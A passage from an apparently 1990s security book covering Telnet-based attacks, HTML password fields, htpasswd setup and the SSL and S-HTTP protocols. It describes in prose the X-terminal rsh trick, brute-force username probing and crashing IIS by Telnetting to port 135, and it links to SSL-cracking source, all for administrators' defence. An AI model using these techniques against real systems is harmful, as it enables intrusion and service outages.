http://stos-\nwww.cit.cornell.edu/Mark_html/Satan_html/docs/admin_guide_to\n_cracking.html \n \nIn the paper by Farmer and Venema are many attacks implemented with Telnet alone or \nin conjunction with other programs. One such attack involves an X terminal: \nX Terminals are generally diskless clients. These are machines that have the bare minimum of \nhardware and software to connect to an X server. These are most commonly used in universities \nand consist of a 17\" or 19\" screen, a base, a keyboard and a mouse. The terminal usually supports \na minimum of 4 megabyte of RAM but some will hold as much as 128 megabytes. X terminals \nalso have client software that allows them to connect to the server. Typically, the connection is via \nfast Ethernet, hardwired to the back of the terminal. X Terminals provide high-speed connectivity \nto X servers, coupled with high-powered graphics. These machines are sold on the Internet and \nmake great \"additional\" terminals for use at home. (They are especially good for training.) \nThe Farmer-Venema X terminal technique uses a combination of rsh and Telnet to \nproduce a coordinated attack. The technique involves stacking several commands. The \ncracker uses rsh to connect to the X terminal and calls the X terminal's Telnet client \nprogram. Finally, the output is redirected to the cracker's local terminal via the \nspecification of the DISPLAY option or variable. \nAnother interesting thing that Telnet can be used for is to instantly determine whether the \ntarget is a real or virtual domain (this can be done through other methods, but none \nperform this function quite as quickly). This can assist a cracker in determining exactly \nwhich machine he or she must crack to reach your resources or, more precisely, exactly \nwhich machine he or she is engaged in cracking. \nUnder normal circumstances, a real domain is a domain that has been registered with \nInterNIC and also has its own dedicated server. Somewhere in the void is a box with a \npermanent IP address, and that box is attached permanently to the Internet via 28.8Kbps \nmodem, ISDN, 56Kbps modem, frame relay, T1, T3, ATM, or perhaps, if the owner \nspares no expense, SONET. As such, when you Telnet to such a real site, you are \nreaching that machine and no other. \nVirtual domains, however, are simply directories on a real server, aliased to a particular \ndomain name. That is, you pay some ISP to register your domain name and create a \ndirectory on its disk where your virtual domain exists. This technique allows \nyour_company.com to masquerade as a real server. Thus, when users point their browsers \nto www.your_company.com, they are reaching the ISP's server. The ISP's server redirects \nthe connection request to your directory on the server. This virtual domain scheme is \n" }, { "page_number": 542, "text": " \n \npopular for several reasons, including cost. It saves your company the trouble of \nestablishing a real server and therefore eliminates some of these expenses: \n• \nHardware \n• \nSoftware \n• \n24-hour maintenance \n• \nTech support \nBasically, you pay a one-time fee (and monthly fees thereafter) and the ISP handles \neverything. To crackers, this might be important. For example, if crackers are about to \ncrack your domain--without determining whether your machine is truly a server--they \nmay get into trouble. They think they are cracking some little machine within your \ninternal offices when in fact, they are about to attack a large, well-known network \nprovider. \nTelnet instantly reveals the state of your server. When a cracker initiates a Telnet \nconnection to your_company.com (and on connect, sees the name of the machine as a \nnode on some other, large network), he or she immediately knows that your address is a \nvirtual domain. \nMoreover, Telnet can be used for other nefarious purposes. One is the ever-popular \nbrute-force attack. I am not sure why brute-force attacks are so popular among young \ncrackers; almost all servers do some form of logging these days. Nevertheless, the \ntechnique has survived into the 1990s. These attacks are most commonly initiated using \nTelnet clients that have their own scripting language built in. Tera Term is one such \napplication. \nTera Term sports a language that allows you to automate Telnet sessions. This language \ncan be used to construct scripts that can determine valid usernames on a system that \nrefuses to cough up information on finger or sendmail-expn queries. Versions of Telnet \nreveal this information in a variety of ways. For example, if a bogus username is given, \nthe connection will be cut. However, if a valid username is given, a new login: prompt \nis reissued. \n \nCross Reference: Tera Term can be found on the Web at \nhttp://tucows.phx.cox.com/files/ttermv13.zip. \n \nMoreover, Telnet is a great tool for quickly determining whether a particular port is open \nor whether a server is running a particular service. Telnet can also be used as a weapon in \ndenial-of-service attacks. For example, sending garbage to certain ports on an NT Web \nserver under IIS can cause the targeted processor to jump to 100 percent utilization. \nInitiating a Telnet session to other ports on an NT Web server can cause the machine to \nhang or crash. This is particularly so when issuing a Telnet connection request to port \n135. \n \n" }, { "page_number": 543, "text": " \n \nCross Reference: A fix for this problem, issued by Microsoft, can be found at \nftp://ftp.microsoft.com/bussys/winnt/winnt-\npublic/fixes/usa/nt40/hotfixes-postS \n \nOne can also crash Microsoft's Internet Information Server by Telnetting to port 80 and \nissuing a GET.../... request. Reportedly, however, that problem was remedied with the \nMicrosoft Windows NT Service Pack 2 for Windows NT 4.0. If you do not have that \npatch/service pack, get it. A good treatment of this and other problems can be found in \nthe Denial of Service Info post, posted by Chris Klaus of Internet Security Systems. In it, \nKlaus writes: \nThe file sharing service if available and accessible by anyone can crash the NT machine and \nrequire it to be rebooted. This technique using the dot...dot bug on a Windows 95 machine \npotentially allows anyone to gain access to the whole hard drive...Solution: This vulnerability is \ndocumented in Microsoft Knowledge Base article number Q140818 last revision dated March 15, \n1996. Resolution is to install the latest service pack for Windows NT version 3.51. The latest \nservice pack to have the patch is in service pack 4. \n \nCross Reference: Visit the Denial of Service Info post at http://geek-\ngirl.com/bugtraq/1996_2/0052.html. \n \n \nNOTE: This was only a vulnerability in the Internet Information Server 2.0 World Wide \nWeb server (HTTP). Later versions of IIS are reportedly clean. \n \nFinally, Telnet is often used to generate fakemail and fakenews. Spammers often use this \noption instead of using regular means of posting Usenet messages. There are certain \noptions that can be set this way that permit spammers to avoid at least some of the \nscreens created by spam-killing robots on the Usenet network. \nSummary \nTelnet is a very versatile protocol and, with some effort, it can be made secure. (I \npersonally favor SSH as a substitute, for it prevents against snooped Telnet sessions.) \nNevertheless, Telnet is not always secure out of the box. If you are using older software \n(pre 1997), check whether the appropriate patches have been installed. \nTelnet can also be used in a variety of ways to attack or otherwise cull information from a \nremote host (some of those are discussed in this chapter). By the time this book is \nreleased, many more Telnet attack techniques will have surfaced. If you run a network \nand intend to supply your users with Telnet access, beware. This is especially so on new \nTelnet servers. These new servers may have bugs that have not yet been revealed. And, \nbecause Telnet is so interactive and offers the user so much power to execute commands \non remote machines, any hole in a Telnet distribution is a critical one. It stands in the \nsame category as FTP or HTTP in this respect (or is perhaps even worse). \nResources \nSendmail Bug Exploits List. Explains methods of attacking sendmail. Some of these \ntechniques use Telnet as the base application. \n" }, { "page_number": 544, "text": " \n \n• \nhttp://www.crossroads.fi/~tkantola/hack/unix/sendmail.txt \nImproving the Security of Your Site by Breaking Into It. Dan Farmer and Wietse \nVenema. \n• \nhttp://stos-\nwww.cit.cornell.edu/Mark_html/Satan_html/docs/admin_guide_to_crack\ning.html \nThe Telnet Protocol Specification (RFC 854). J. Postel and J. Reynolds. May 1983. \n• \nhttp://sunsite.auc.dk/RFC/rfc/rfc854.html \nThe Telnet Environment Option (RFC 1408). D. Borman, Editor. Cray Research, Inc. \nJanuary 1993. \n• \nhttp://sunsite.auc.dk/RFC/rfc/rfc1408.html \nTelnet Environment Option (RFC 1572). S. Alexander. \n• \nftp://ds.internic.net/rfc/rfc1572.txt \nTelnet Authentication: SPX (RFC 1412). K. Alagappan. \n• \nftp://ds.internic.net/rfc/rfc1412.txt \nTelnet Remote Flow Control Option. (RFC 1372). C. Hedrick and D. Borman. \n• \nftp://ds.internic.net/rfc/rfc1372.txt \nTelnet Linemode Option (RFC 1184). D.A. Borman. \n• \nftp://ds.internic.net/rfc/rfc1184.txt \nThe Q Method of Implementing Telnet Option Negotiation (RFC 1143). D.J. \nBernstein. \n• \nftp://ds.internic.net/rfc/rfc1143.txt \nTelnet X Display Location Option (RFC 1096). G.A. Marcy. \n• \nftp://ds.internic.net/rfc/rfc1096.txt \nTelnet Binary Transmission (RFC 856). J. Postel and J.K. Reynolds. \n• \nftp://ds.internic.net/rfc/rfc856.txt \nRemote User Telnet Service (RFC 818). J. Postel. \n• \nftp://ds.internic.net/rfc/rfc818.txt \nDiscussion of Telnet Protocol (RFC 139). T.C. O'Sullivan. Unfortunately, this RFC is \nno longer available online. \n" }, { "page_number": 545, "text": " \n \nFirst Cut at a Proposed Telnet Protocol (RFC 97). J.T. Melvin and R.W. Watson. \nUnfortunately, this RFC is no longer available online. \nThe Telnet Authentication Option. Internet Engineering Task Force Internet Draft. \nTelnet Working Group. D. Borman, Editor. Cray Research, Inc. February 1991. \n• \nhttp://web.dementia.org/~shadow/telnet/preliminary-draft-borman-\ntelnet-authentication-00.html \nTelnet Authentication: Kerberos Version 4 (RFC 1411). D. Borman, Editor. Cray \nResearch, Inc. January 1993. \n• \nftp://ds.internic.net/rfc/rfc1411.txt \nSTEL: Secure Telnet. Encryption-enabled Telnet. David Vincenzetti, Stefano Taino, \nand Fabio Bolognesi. \n• \nhttp://idea.sec.dsi.unimi.it/stel.html \nSession-Layer Encryption. Matt Blaze and Steve Bellovin. Proceedings of the Usenix \nSecurity Workshop, June 1995. \nAttaching Non-TCP-IP Devices with Telnet. Stefan C. Johnson. Sys Admin: The \nJournal for UNIX Systems Administrators. June 1996. \nSecure RPC Authentication (SRA) for Telnet and FTP. David K. Hess, David R. \nSafford, and Douglas Lee Schales. Proceedings of the Fourth Usenix Security \nSymposium, Supercomputer Center, Texas A&M University, 1993. \nInternetworking with TCP/IP Vol. 1: Principles, Protocols and Architecture. \nDouglas Comer. Prentice Hall. 1991. \n• \nhttp://www.pcmag.com/issues/1606/pcmg0050.htm \nTerminal Hopping. Karen Bannan. PC Magazine's InternetUser--CRT, Version 1.1.4 \n(01/30/97). \n• \nhttp://www.pcmag.com/iu/util/telnet/vdcrt114.htm \nTelnet & Terminal Emulation. PC Magazine's InternetUser. January 30, 1997. \n• \nhttp://www.pcmag.com/iu/roundup/ru970130.htm \nEFF's (Extended) Guide to the Internet--Telnet. Adam Gaffin. Mining the Net, Part I. \n• \nhttp://cuiwww.unige.ch/eao/www/Internet/Extended.Guide/eeg_93.html \n" }, { "page_number": 546, "text": " \n \n30 \nLanguages, Extensions, and Security \nThis chapter examines the relationship between languages, extensions, and security. \nTraditionally, the term language refers (in the computer world) to some form of computer \nlanguage, a set of common instructions that when properly assembled, create a program \nor application. Most users are well aware of at least one computer language: BASIC, \nPascal, FORTRAN, C, C++, and so on. Such languages are traditionally understood to be \nreal languages because one can construct a program with them that can thereafter run \ngenerally without need of external support from an interpreter. \nLanguage \nSo much for tradition. Today, the climate is different. For example, the popularity of shell \nlanguages, which are used primarily on the UNIX platform, has greatly increased. They \nare written in a syntax that meets the requirements of the shell or command interpreter of \nthe given platform. These languages cannot create entirely standalone programs that \nexecute without a command interpreter, yet these languages have become vastly popular. \nA programmer who can proficiently program in such a language is almost guaranteed to \nland a job somewhere. \n \nNOTE: For MS-DOS and Windows users who have never worked on a UNIX platform: \nShell language programs can be likened to large batch files. They are composed of \nvarious regular expression operations, pipes, re-directs, system calls, and so forth. \n \nAs such, these languages stretch the definition of language itself. For even though these \nprograms cannot run without assistance from the underlying system, they are indeed full-\nfledged programs that can and often do run various services and functions on the Internet. \nSimilarly, there are interpreted languages such as Perl that offer extreme power to the \nuser. These can often interface not just with their own interpreter, but with various shell \nlanguages and system calls. They can even be nested within other language constructs. A \ntypical example would be a Perl script nested within a TCL script or within a C program. \nThese are bona fide languages that cross the barriers (or perhaps bridge the gaps) between \none or more real languages. \nBut where does the definition of language stop? For example, Hypertext Markup \nLanguage (HTML) is a language, even though it is completely useless unless interpreted \nby a hypertext reader (Navigator, Internet Explorer, Grail, Arena, Lynx, Opera, \nPowerbrowser, Netcruiser, and so forth). True, HTML is a language, but its application is \nlimited (PostScript stands in a similar light). \nJavaScript and VBScript are languages that actually stand squarely between Perl and \nHTML. JavaScript and VBScript perform only a limited set of tasks. They are designed \nto be interpreted by the browser, true, but unlike HTML, these languages perform tasks \n" }, { "page_number": 547, "text": " \n \ndynamically (examples include getting and processing variables to perform a calculation \nor other process). It is likely that in order to create a fully functional and dynamic Web-\npage environment, you will use a combination of languages. \nThat said, for the purpose of this chapter, a language is any set of instructions that can \nperform more than simple display processes, dynamically and without user intervention \n(that is, any set of instructions that could potentially automate a task). \nExtensions \nIn contrast, an extension is any set of instructions, declarations, or statements that \nformulate one application of a particular language. Extensions are elements of (or \ndesigned to enhance) a particular language. Most commonly, the term extensions refers to \nHTML extensions, the majority of which are proprietary. \nFor example, consider the use of tables in HTML. Tables are extensions. They are \nstatements that alter the face of a Web page. The use of tables is becoming more common \nbecause tables provide near-pixel-perfect control of the Web page's appearance. \nExtremely high-end Web development packages use tables to offer almost word-\nprocessor control of your Web page's look and feel. Fusion by NetObjects is an example \nof this phenomenon. In a WYSIWYG environment, the user can place pictures, text, \nsound, or video anywhere on the page. Tables mathematically plot out the location. The \nfinal result is accomplished by using invisible table structures that surround the object in \nquestion, thus giving the appearance of free-form location of the object. Fusion by \nNetObjects is often referred to as the \"PageMaker of the WWW.\" \nPerhaps the easiest way to grasp the concept of extensions is to understand that they are \nstatements that extend the originally intended implementation of HTML. These are new \nfeatures, often proposed by proprietary entities such as Netscape or Microsoft. Most \nextensions are designed to enhance the surfer's experience by offering more dynamic \nvisual or multimedia content. These are proprietary and only work in browsers designed \nto read them. \nHTML \nOn the surface, it sounds silly. HTML is a non-dynamic language that cannot serve a \npurpose unless read by a browser. How could it possibly have security implications? \nWell, it does. To understand why and what measures are being undertaken to address \nthose implications, consider the original idea behind HTML. The intended purpose was to \nprovide a platform-independent method of distributing data. It so happens that this \noriginal implementation was intended for use with plain (clear) text. At its most simple, \nthen, a Web page consists of clear text. Examine the following HTML code: \n \n \n \n \n

This is a page

\n \n \n" }, { "page_number": 548, "text": " \n \nPretty simple stuff. This HTML does no more than print a page that says This is a \npage. No extensions are used; the page would be boring. However, we could add an \nextension to change the background color to white: \n \n \n \n \n

This is a page.

\n \n \nThe tag sets the color. There are dozens of other tags we could use to add sound, \nanimation, video, and so forth. However, all these still appear in clear text. Likewise, \nwhen you submit information in an HTML form, it is generally accepted (and parsed by a \nPerl program or other CGI application) in clear text. \nWhen the WWW was used primarily for research and education, that was fine. The \nmaterial could be intercepted across a network, but there was a relatively low risk of this \nactually occurring. However, time passed, and eventually people became concerned. \nExtensions were added to the HTML specification, including a password field. This field \nis called by issuing the following statement within a form: \nINPUT TYPE=PASSWORD \nThis tag produces an input field that does not echo the password to the screen. Instead, \ncharacters of the password are represented by asterisks. Unfortunately, this field does \nvery little to enhance real security. \nFirst, the main concern is not whether someone standing over the shoulder of the user can \nsee the password, but whether someone intercepting traffic can. This password field does \nlittle to prevent that. Moreover, the password field (which is used by thousands of sites \nall over the world) does absolutely nothing to prevent someone from entering the so-\ncalled protected site. \nTrue, average users--when confronted with a page so protected--shy away and assume \nthat if they don't have a password, they cannot get in. However, to anyone with even \nminimal knowledge of HTML implementation, this is the modern equivalent of a \n\"Beware of Dog\" or \"Keep Off the Grass\" sign. By venturing into the directory structure \nof the target server, any user can bypass this so-called security measure. \nFor example, suppose the password-protected site's address was this: \n• \nhttp://www.bogus_password_protection.com/~mypage \nWhen a user lands on this page, he or she is confronted by a field that asks for a \npassword. If the incorrect password is entered, a page (perhaps \nwww.bogus_password_protection.com/~mypage/wrong.html) is fed to the user to \ninform him or her of the authentication failure. On the other hand, if the user enters a \ncorrect password, he or she is forwarded to a page of favorite links, funny jokes, or \nwhatever (for example, www.bogus_password_protection.com/~mypage/jokes). \n" }, { "page_number": 549, "text": " \n \nUsing any garden-variety search engine, one can quickly identify the pages beneath the \npassword page. This is done by issuing an explicit, case-sensitive, exact-match search \nstring that contains the base address, or the address where the HTML documents for that \nuser begin (in this case, http://www.bogus_password_protection.com/~mypage). \nThe return will be a list of pages that are linked to that page. Naturally, the site's designer \nwill include a Home button or link on each subsequent page. This way, users can \nnavigate through the site comfortably. \nBy opening the location of all subsequent pages on that site, the user can bypass the \npassword protection of the page. He or she can directly load all the pages that are loaded \nafter a user provides the correct password. The only time that this technique will not work \nis when the password field is tied to a password routine that dynamically generates the \nnext page (for example, a Perl script might compare the password to a list and, if the \npassword is good, a subsequent page is compiled with time-sensitive information pulled \nfrom other variables, such as a \"tip of the day\" page). \n \nTIP: Such implementations are the only valid instance in which to use this password \nfield. In other words, you use the field to obscure the password to passers-by and point \nthat form to a script on the server's local drive. All comparisons and other operations are \ndone within the confines of that script, which also resides in a protected directory. \n \nThis brings us to one of the most commonly asked questions: How does one effectively \npassword protect a site? \nPassword Protection for Web Sites: htpasswd \nPassword protection is accomplished with any implementation of htpasswd. This \nprogram (which comes stock with most Web server distributions) is designed to provide \nreal password authentication. You will know when you land on a site using htpasswd \nbecause a dialog box demanding a password from the user is immediately issued. In \nNetscape, that dialog box appear much like the image in Figure 30.1. \nFIGURE 30.1. \nThe htpasswd prompt. \nThose using Mosaic for the X Window System will see a slightly different prompt (see \nFigure 30.2). \nFIGURE 30.2. \nThe htpasswd prompt in Mosaic for X. \nIf the user enters the correct password, he or she will be referred to the next page in \nsequence. However, if the user fails to provide the correct password, he or she will be \nforwarded to a page that looks very similar to the one shown in Figure 30.3. \nFIGURE 30.3. \nThe htpasswd failed authorization screen. \n" }, { "page_number": 550, "text": " \n \nAs authentication schemes go, htpasswd is considered fairly strong. It relies on the basic \nHTTP authentication scheme, but will also conform to MD5. \n \nCAUTION: Be careful about setting the option for MD5. Not all browsers support this \noption, and your users may end up quite frustrated due to a failure to authenticate them. \nKnown supported browsers currently include Mosaic, NCSA, and Spyglass. \n \nA word to the wise: although the passwords of users are ultimately stored in encrypted \nform, the password is not passed in encrypted form in basic HTTP authentication. As \nreported by NCSA in the Mosaic User Authentication Tutorial: \nIn Basic HTTP Authentication, the password is passed over the network not encrypted but not as \nplain text--it is \"uuencoded.\" Anyone watching packet traffic on the network will not see the \npassword in the clear, but the password will be easily decoded by anyone who happens to catch \nthe right network packet. \n \nCross Reference: Find the Mosaic User Authentication Tutorial on the Web at \nhttp://hoohoo.ncsa.uiuc.edu/docs-1.5/tutorials/user.html. \n \nThis is different from the MD5 implementation. As reported by the same document: \nIn MD5 Message Digest Authentication, the password is not passed over the network at all. \nInstead, a series of numbers is generated based on the password and other information about the \nrequest, and these numbers are then hashed using MD5. The resulting \"digest\" is then sent over the \nnetwork, and it is com-bined with other items on the server to test against the saved digest on the \nserver. \nIt is my opinion that in intranets or other networked environments where you can be sure \nof what browser is being used, you should implement the MD5 authentication scheme. \nWho Can Use htpasswd? Anyone can use htpasswd to password protect any directory \nwithin his or her directory tree. That is, a system administrator can protect an entire Web \nsite, or a user can selectively password protect directories within his or her /~user \nhierarchy. However, there are some practical obstacles. First, the program must be \navailable for you to use. That means the following: \n• \nThe machine on which the site resides must be a UNIX box. \n• \nThe administrator there must have gotten htpasswd with the distribution of his or her Web-\nserver kit (NCSA; Apache also supports this utility). \n• \nThe administrator must have compiled the source to a binary or otherwise obtained a binary. You \nmay go to the directory and find that only the source is available and the permissions are set to \nroot as well. \nCheck whether all these conditions are met. You can generally find the location of \nhtpasswd (without bothering your sysad) by issuing the whereis command at a shell \nprompt. However, htpasswd is usually located in the /usr/local/etc/httpd/support \ndirectory. \n \n" }, { "page_number": 551, "text": " \n \nTIP: Your PATH environment variable is probably not set to reflect that directory, and I \nwould not bother to change it. You will only be using the program once or twice unless \nyou are engaged in system administration. \n \nWhat if My Sysad Doesn't Have htpasswd and Won't Get It? Some system \nadministrators can be difficult to get hold of, or may simply ignore user requests for the \nhtpasswd utility. If you encounter this situation, there is an alternative: htpasswd.pl. \nhtpasswd.pl is a Perl script designed to replace the current implementation of \nhtpasswd. It was written by Ryun Whitfield Schlecht (also known as Nem), a 22-year-\nold Computer Science major at North Dakota State University. \n \nCross Reference: You can find Nem at http://abattoir.cc.ndsu.nodak.edu/~nem/. The \ncode for htpasswd.pl is located at \nhttp://abattoir.cc.ndsu.nodak.edu/~nem/perl/htpass.html. \n \nUsing htpasswd Implementing htpasswd takes only a few seconds. The first step is to \ncreate a file named .htaccess in the target directory. This is a plain-text dot file that can \nbe edited with any editor on the UNIX platform (I prefer vi). The contents of the file will \nappear as follows: \nAuthUserFile /directory_containing_.htpasswd/.htpasswd \nAuthGroupFile /directory_containing_a_group_file \nAuthName ByPassword \nAuthType Basic \n \n \nrequire user _some_username_here \n \nLet's go through each line: \n• \nThe first line specifies the AuthUserFile. This is where the actual passwords are stored, in a \nfile named .htpasswd (I will address the construct of that file momentarily). \n• \nThe second line specifies the location of the group file (called .htgroup). This is where \nusernames can be categorized into groups. In this example, we will not use a group file because \nwe do not have many groups. \n• \nThe third and fourth lines express the way in which the password will be authenticated. (The \ntechnique being used is basic HTTP authentication because not all browsers support MD5). \n• \nThe fifth, sixth, and seventh lines express which users are allowed to perform a GET operation on \nthe directory (that is, which users are allowed to access that directory). This is where you put the \nusername. \n \nTIP: All paths should be expressed in their absolute form. That is, the entire path should \nbe expressed. If you fail to do so, the authentication routine will fail. \n \n" }, { "page_number": 552, "text": " \n \nNext, you will create the .htpasswd file. This file is a special file; it can be created with a \nregular editor, but I would advise against it. Instead, use your version of htpasswd like \nso: \nhtpasswd -c /directory_containing_htpasswd/.htpasswd username \nThis will create the file and prompt you for a password for the username. You will have \nto type this password twice: once to set it and once to confirm it. \n \nCAUTION: Make certain you have created the .htpasswd file in the same directory \nas you indicated in the .htaccess file. Otherwise, the system will be unable to find the \n.htpasswd file and, no matter what password is entered, users from outside will meet \nwith a failed authorization. \n \nIf you examine the .htpasswd file after you finish, you will see that it contains the \nusername and an encrypted string, which is the password in encrypted form. It will look \nsomething like this: \nusername: o3ds2xcqWzLP7 \nAt this point, the directory is password protected. Anyone landing on that page will be \nconfronted with a password dialog box. \nIf you do not have Telnet access, you really cannot perform the preceding operation. If \nyour provider has denied Telnet access, explain the situation; perhaps it can offer you \nTelnet on a limited basis so you can set the htpasswd. I would not use a provider that did \nnot offer Telnet access, but there are many out there. \n \nCAUTION: In the past, I have seen users attempt to set up these files--without Telnet--\nusing FTP clients. Do NOT try this, or you will be unable to access your page later. After \nthese files exist in your directory, the dialog box will appear every time. You would then \nhave to return to FTP and delete the files. However, depending on how the permissions \nwere set, you might be unable to do so. If you do not have access to Telnet and know \nvery little about UNIX, do NOT attempt to establish such files on your server's drive. \n \nHTML Security Extensions \nI mentioned several security extensions to HTML earlier in this book. Now it's time to \nget a bit more specific, examining each in turn. \nBecause the Web has now become a popular medium for commerce, there is an \nenormous push for security in HTML. Because the majority of garden-variety HTML \ntraffic is in clear text, the development of cryptographic and other data-hiding techniques \nhas become a big business. Thus, most of the proposals are proprietary. I will address \ntwo: the Secure Sockets Layer (SSL) and S-HTTP. \nSecure Sockets Layer (Netscape) Secure Sockets Layer (SSL) is a system designed and \nproposed by Netscape Communications Corporation. The SSL protocol supports a wide \nrange of authentication schemes. These can be implemented using various cryptographic \nalgorithms, including the now-popular DES. As reported by Netscape, in its specification \nof SSL: \n" }, { "page_number": 553, "text": " \n \nThe primary goal of the SSL Protocol is to provide privacy and reliability between two \ncommunicating applications. The protocol is composed of two layers. At the lowest level, layered \non top of some reliable transport protocol (e.g., TCP[TCP]), is the SSL Record Protocol. The SSL \nRecord Protocol is used for encapsulation of various higher level protocols. One such \nencapsulated protocol, the SSL Handshake Protocol, allows the server and client to authenticate \neach other and to negotiate an encryption algorithm and cryptographic keys before the application \nprotocol transmits or receives its first byte of data. \nSSL has been characterized as extremely secure, primarily because the connection \nsecurity also incorporates the use of MD5. The protocol therefore provides connection \nintegrity as well as authentication. The design of SSL has been deemed sufficiently \nsecure that very powerful software firms have incorporated the technology into their \nproducts. One such product is Microsoft's Internet Information Server. \n \nNOTE: Microsoft's early implementation of SSL required that you obtain a certificate \nfrom a third party, in this case VeriSign. This certificate verified your identity, a \ncontingency that not everyone is happy about. \n \nSSL was unveiled to the world and largely accepted by security circles, primarily because \nthe system combined some of the most powerful encryption techniques currently \navailable. But the bright future of SSL soon met with dark and stormy skies. The \nimplementation initially introduced by Netscape Communications Corporation simply \nwasn't strong enough. On September 19, 1995, news that SSL had been cracked was \nplastered across the national headlines. As John Markoff noted in his article \"Security \nFlaw Is Discovered In Software Used In Shopping,\" which appeared in The New York \nTimes on September 19, 1995: \nA serious security flaw has been discovered in Netscape, the most popular software used for \ncomputer transactions over the Internet's World Wide Web, threatening to cast a chill over the \nemerging market for electronic commerce...The flaw, which could enable a knowledgeable \ncriminal to use a computer to break Netscape's security coding system in less than a minute, means \nthat no one using the software can be certain of protecting credit card information, bank account \nnumbers or other types of information that Netscape is supposed to keep private during online \ntransactions. \nSeveral students (including Ian Goldberg and David Wagner) found that within minutes, \nthey could discover the key used in the encryption process. This (for a time, at least) \nrendered SSL utterly useless for serious security. \n \nCross Reference: C source code has been posted to the Internet that you can use to \nattack the early, flawed implementations of SSL. You can get that source at \nhttp://hplyot.obspm.fr:80/~dl/netscapesec/unssl.c. \n \nThe flaw is best expressed by the Netscape advisory (\"Potential Vulnerability in Netscape \nProducts\") issued shortly after the story broke: \nCurrent versions of Netscape Navigator use random information to generate session encryption \nkeys of either 40 or 128 bits in length. The random information is found through a variety of \nfunctions that look into a user's machine for information about how many processes are running, \nprocess ID numbers, the current time in microseconds, etc. The current vulnerability exists \nbecause the size of random input is less than the size of the subsequent keys. This means that \ninstead of searching through all the 2^128 possible keys by brute force, a potential intruder only \nhas to search through a significantly smaller key space by brute force. This is substantially easier \n" }, { "page_number": 554, "text": " \n \nproblem to solve because it takes much less compute time and means 40-bit or 128-bit key \nstrength is substantially reduced. \n \nCross Reference: \"Potential Vulnerability in Netscape Products\" can be found on the \nWeb at \nhttp://www.netscape.com/newsref/std/random_seed_security.htm\nl. \n \nAs Netscape was quick to point out, there has never been a known instance of any Net \nsurfer's financial information being stolen in such a manner. Nor have there been any \nrecorded instances of such information being intercepted over the Internet. At the day's \nend, the technique employed was complex and not one that would be commonly known \nto criminals. However, the episode threw many products into a suspicious light, and \nagain, Internet security was reduced to a hope rather than a reality. \nInformation now suggests that peripheral components used in implementation of SSL \nmay even be flawed. Specifically, MD5 is now under suspicion. On May 2, 1996, a \nmember of the German Information Security Agency issued a report titled \"Cryptanalysis \nof MD5 Compress.\" In it, the author demonstrates a weakness inherent in MD5. \n \nCross Reference: \"Cryptanalysis of MD5 Compress\" by Dr. Hans Dobbertin can by \nfound at http://www.cs.ucsd.edu/users/bsy/dobbertin.ps. \n \n \nCross Reference: Some forces in encryption suggest that MD5 be phased out. To learn \nmore about these matters, check out the Secure Sockets Layer Discussion List. In this \nmailing list, members discuss the various security characteristics of SSL. You can \nsubscribe to that list by sending a mail message to ssl-talk-\nrequest@netscape.com. The mail message should be empty, and the Subject line \nshould include the word SUBSCRIBE. The material discussed in the Secure Sockets \nLayer Discussion List is quite technical. If you are new to the subject matter, it would be \nwise to obtain the FAQ (http://www.consensus.com/ security/ssl-\ntalk-sec01.html). \n \nToday, a stronger version of SSL is selling like wildfire. To date, there have been no \nsuccessful attempts to crack these newer implementations; they have a much stronger \nrandom-generation routine. Dozens of third-party products now support SSL, including \nmost of the browser clients commercially available (and a good number of servers). \n \nCross Reference: An interesting comparison of third-party products that support SSL is \navailable at http://webcompare.iworld.com/compare/security.shtml. \n \nS-HTTP S-HTTP (Secure Hypertext Transfer Protocol) differs from SSL in several ways. \nFirst, Netscape's SSL is a published implementation; therefore, there is a wide range of \ninformation available about it. In contrast, S-HTTP is an often-discussed but seldom-seen \nprotocol. \nThe main body of information about S-HTTP is in the \"Internet Draft\" authored by E. \nRescorla and A. Schiffman of Enterprise Integration Technologies (Eit.com). \n" }, { "page_number": 555, "text": " \n \nImmediately on examining that document, you can see that S-HTTP is implemented in an \nentirely different manner from SSL. For a start, S-HTTP works at the application level of \nTCP/IP communications, whereas SSL works at the data-transport level. \nAs you learned in Chapter 6, \"A Brief Primer on TC/IP,\" these levels represent different \nphases of the TCP/IP stack implementation. Application-level exchanges are those \navailable to (and viewable by) the operator. Well-known application-level protocols \ninclude FTP, Telnet, HTTP, and so on. \nA company called Terisa Systems (www.terisa.com) licenses several development \ntoolkits that incorporate S-HTTP into applications. These toolkits come with pre-fabbed \nlibraries and a crypto engine from RSA. \nS-HTTP's main feature (and one that is very attractive) is that it does not require users to \nengage in a public key exchange. Remember how I wrote about Microsoft's \nimplementation of SSL, which required that you obtain a certificate? This means you \nhave to identify yourself to a third party. In contrast, according to Rescorla and \nSchiffman: \nS-HTTP does not require client-side public key certificates (or public keys), supporting symmetric \nsession key operation modes. This is significant because it means that spontaneous private \ntransactions can occur without requiring individual users to have an established public key. \n \nCross Reference: You can find \"The Secure HyperText Transfer Protocol\" by E. \nRescorla and A. Schiffman on the Web at http://www.eit.com/creations/s-\nhttp/draft-ietf-wts-shttp-00.txt. \n \nIn my view, this seems more acceptable and less Orwellian. There should never be an \ninstance where an individual MUST identify himself or herself simply to make a \npurchase or cruise a page, just as one should not have to identify oneself at a bookstore or \na supermarket in the \"real\" world. One has to question the motivation of corporations \nsuch as Microsoft that insist on certificates and public key schemes. Why are they so \nconcerned that we identify ourselves? I would view any such scheme with extreme \nsuspicion. In fact, I would personally lobby against such schemes before they become \nacceptable Internet standards. Many other efforts in electronic commerce are aimed \ntoward complete anonymity of the client and consumer. These efforts seem to be working \nout nicely, without need for such rigid identification schemes. \nMoreover, the S-HTTP may be a more realistic choice. Even if public key exchange \nsystems were desirable (as opposed to anonymous transactions), the number of Internet \nusers with a public key is small. New users in particular are more likely targets for online \ncommercial transactions, and the majority of these individuals do not even know that \npublic key systems exist. If a public key is required to complete a transaction using a \nsecure protocol, many millions of people will be unable to trade. It seems highly \nunrealistic that vendors will suggest methods of educating (or prodding) consumers into \nobtaining a public key. \n \n" }, { "page_number": 556, "text": " \n \nNOTE: Although S-HTTP does not require public key exchange-style authentication, it \nsupports such authentication. It also supports Kerberos authentication, which is an \nadditional benefit. \n \nS-HTTP also supports message authentication and integrity in much the same fashion as \nSSL. As noted in \"The Secure HyperText Transfer Protocol\": \nSecure HTTP provides a means to verify message integrity and sender authenticity for a HTTP \nmessage via the computation of a Message Authentication Code (MAC), computed as a keyed \nhash over the document using a shared secret--which could potentially have been arranged in a \nnumber of ways, e.g.: manual arrangement or Kerberos. This technique requires neither the use of \npublic key cryptography nor encryption. \nTo date, not enough public information about S-HTTP is available for me to formulate a \ntruly educated advisory. However, it seems clear that the designers integrated some of the \nbest elements of SSL while allowing for maximum privacy of 